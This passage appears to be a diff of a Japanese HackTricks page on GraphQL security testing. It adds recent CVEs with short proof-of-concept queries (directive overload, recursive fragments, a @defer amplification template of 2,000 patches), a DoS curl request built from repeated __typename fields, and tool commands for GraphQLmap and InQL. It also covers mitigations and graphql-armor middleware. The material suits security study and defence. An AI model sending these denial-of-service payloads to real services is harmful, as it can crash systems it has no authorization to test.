\n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n} ", "operationName": "cop"}' \ 'https://example.com/graphql' ``` +## 最近の脆弱性 (2023-2025) + +> GraphQLエコシステムは非常に迅速に進化しています。過去2年間で、最も使用されているサーバーライブラリにいくつかの重大な問題が公開されました。GraphQLエンドポイントを見つけた場合、エンジンのフィンガープリンティングを行う価値があります(**graphw00f**を参照)し、実行中のバージョンを以下の脆弱性と照らし合わせて確認してください。 + +### CVE-2024-47614 – `async-graphql` ディレクティブオーバーロード DoS (Rust) +* 影響を受ける: async-graphql < **7.0.10** (Rust) +* 根本原因: **重複したディレクティブ**(例: 数千の `@include`)に制限がないため、指数関数的な数の実行ノードに展開されます。 +* 影響: 単一のHTTPリクエストがCPU/RAMを使い果たし、サービスがクラッシュする可能性があります。 +* 修正/緩和: 7.0.10以上にアップグレードするか、`SchemaBuilder.limit_directives()`を呼び出します。あるいは、`"@include.*@include.*@include"`のようなWAFルールでリクエストをフィルタリングします。 +```graphql +# PoC – repeat @include X times +query overload { +__typename @include(if:true) @include(if:true) @include(if:true) +} +``` +### CVE-2024-40094 – `graphql-java` ENF 深さ/複雑さバイパス +* 影響を受ける: graphql-java < 19.11, 20.0-20.8, 21.0-21.4 +* 根本原因: **ExecutableNormalizedFields** が `MaxQueryDepth` / `MaxQueryComplexity` 計測によって考慮されていなかった。そのため、再帰的フラグメントはすべての制限をバイパスした。 +* 影響: graphql-java を埋め込んだ Java スタックに対する認証されていない DoS (Spring Boot, Netflix DGS, Atlassian 製品…)。 +```graphql +fragment A on Query { ...B } +fragment B on Query { ...A } +query { ...A } +``` +### CVE-2023-23684 – WPGraphQL SSRF to RCE chain +* 影響を受ける: WPGraphQL ≤ 1.14.5 (WordPressプラグイン)。 +* 根本原因: `createMediaItem` ミューテーションが攻撃者制御の **`filePath` URLs** を受け入れ、内部ネットワークアクセスとファイル書き込みを可能にした。 +* 影響: 認証されたエディター/著者はメタデータエンドポイントにアクセスしたり、リモートコード実行のためにPHPファイルを書き込むことができた。 + +--- + +## インクリメンタルデリバリーの悪用: `@defer` / `@stream` +2023年以降、ほとんどの主要サーバー (Apollo 4, GraphQL-Java 20+, HotChocolate 13) は、GraphQL-over-HTTP WGによって定義された **インクリメンタルデリバリー** ディレクティブを実装しました。すべての遅延パッチは **別々のチャンク** として送信されるため、総応答サイズは *N + 1* (エンベロープ + パッチ) になります。数千の小さな遅延フィールドを含むクエリは、攻撃者にとっては1回のリクエストで済むため、大きな応答を生成します - これは古典的な **増幅DoS** であり、最初のチャンクのみを検査するボディサイズWAFルールを回避する方法です。WGメンバー自身がリスクを指摘しました。 + +例のペイロードは2,000のパッチを生成します: +```graphql +query abuse { +% for i in range(0,2000): +f{{i}}: __typename @defer +% endfor +} +``` +緩和策: 本番環境で `@defer/@stream` を無効にするか、`max_patches`、累積 `max_bytes` および実行時間を強制します。**graphql-armor** のようなライブラリは、すでに妥当なデフォルトを強制しています。 + +--- + +## 防御的ミドルウェア (2024+) + +| プロジェクト | ノート | +|---|---| +| **graphql-armor** | Escape Tech によって公開された Node/TypeScript バリデーションミドルウェア。クエリの深さ、エイリアス/フィールド/ディレクティブのカウント、トークンおよびコストのためのプラグアンドプレイ制限を実装; Apollo Server、GraphQL Yoga/Envelop、Helix などと互換性があります。 | + +クイックスタート: +```ts +import { protect } from '@escape.tech/graphql-armor'; +import { applyMiddleware } from 'graphql-middleware'; + +const protectedSchema = applyMiddleware(schema, ...protect()); +``` +`graphql-armor` は、上記の CVE に対して保護するために、過度に深い、複雑な、またはディレクティブが多すぎるクエリをブロックします。 + +--- + ## ツール ### 脆弱性スキャナー @@ -552,9 +619,9 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso - [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): スキーマを取得し、機密データを検索し、認可をテストし、スキーマをブルートフォースし、特定のタイプへのパスを見つけるために使用できるツールキット。 - [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): スタンドアロンまたは [Burp 拡張機能](https://github.com/doyensec/inql) として使用できます。 - [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): CLI クライアントとしても使用でき、攻撃を自動化します: `python3 graphqlmap.py -u http://example.com/graphql --inject` -- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): **GraphQL スキーマ内の特定のタイプに到達するさまざまな方法をリストするツール**。 +- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): **GraphQL スキーマ内の特定のタイプに到達するためのさまざまな方法をリストするツール**。 - [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): InQL のスタンドアロンおよび CLI モードの後継 -- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): 高度な GraphQL テストのための Burp 拡張機能または Python スクリプト。_**スキャナー**_ は InQL v5.0 のコアであり、GraphQL エンドポイントまたはローカルのイントロスペクションスキーマファイルを分析できます。すべての可能なクエリとミューテーションを自動生成し、分析のために構造化されたビューに整理します。_**アタッカー**_ コンポーネントを使用すると、バッチ GraphQL 攻撃を実行でき、これは不適切に実装されたレート制限を回避するのに役立ちます: `python3 inql.py -t http://example.com/graphql -o output.json` +- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): 高度な GraphQL テストのための Burp 拡張機能または Python スクリプト。_**スキャナー**_ は InQL v5.0 のコアであり、GraphQL エンドポイントまたはローカルのイントロスペクションスキーマファイルを分析できます。すべての可能なクエリとミューテーションを自動生成し、分析のために構造化されたビューに整理します。_**アタッカー**_ コンポーネントを使用すると、バッチ GraphQL 攻撃を実行でき、実装が不十分なレート制限を回避するのに役立ちます: `python3 inql.py -t http://example.com/graphql -o output.json` - [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): 一部の Graphql データベースの助けを借りて、イントロスペクションが無効になっていてもスキーマを取得しようとします。 ### 一般的な脆弱性を悪用するためのスクリプト @@ -583,5 +650,7 @@ https://graphql-dashboard.herokuapp.com/ - [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md) - [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696) - [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql) +- [**https://github.com/advisories/GHSA-5gc2-7c65-8fq8**](https://github.com/advisories/GHSA-5gc2-7c65-8fq8) +- [**https://github.com/escape-tech/graphql-armor**](https://github.com/escape-tech/graphql-armor) {{#include ../../banners/hacktricks-training.md}}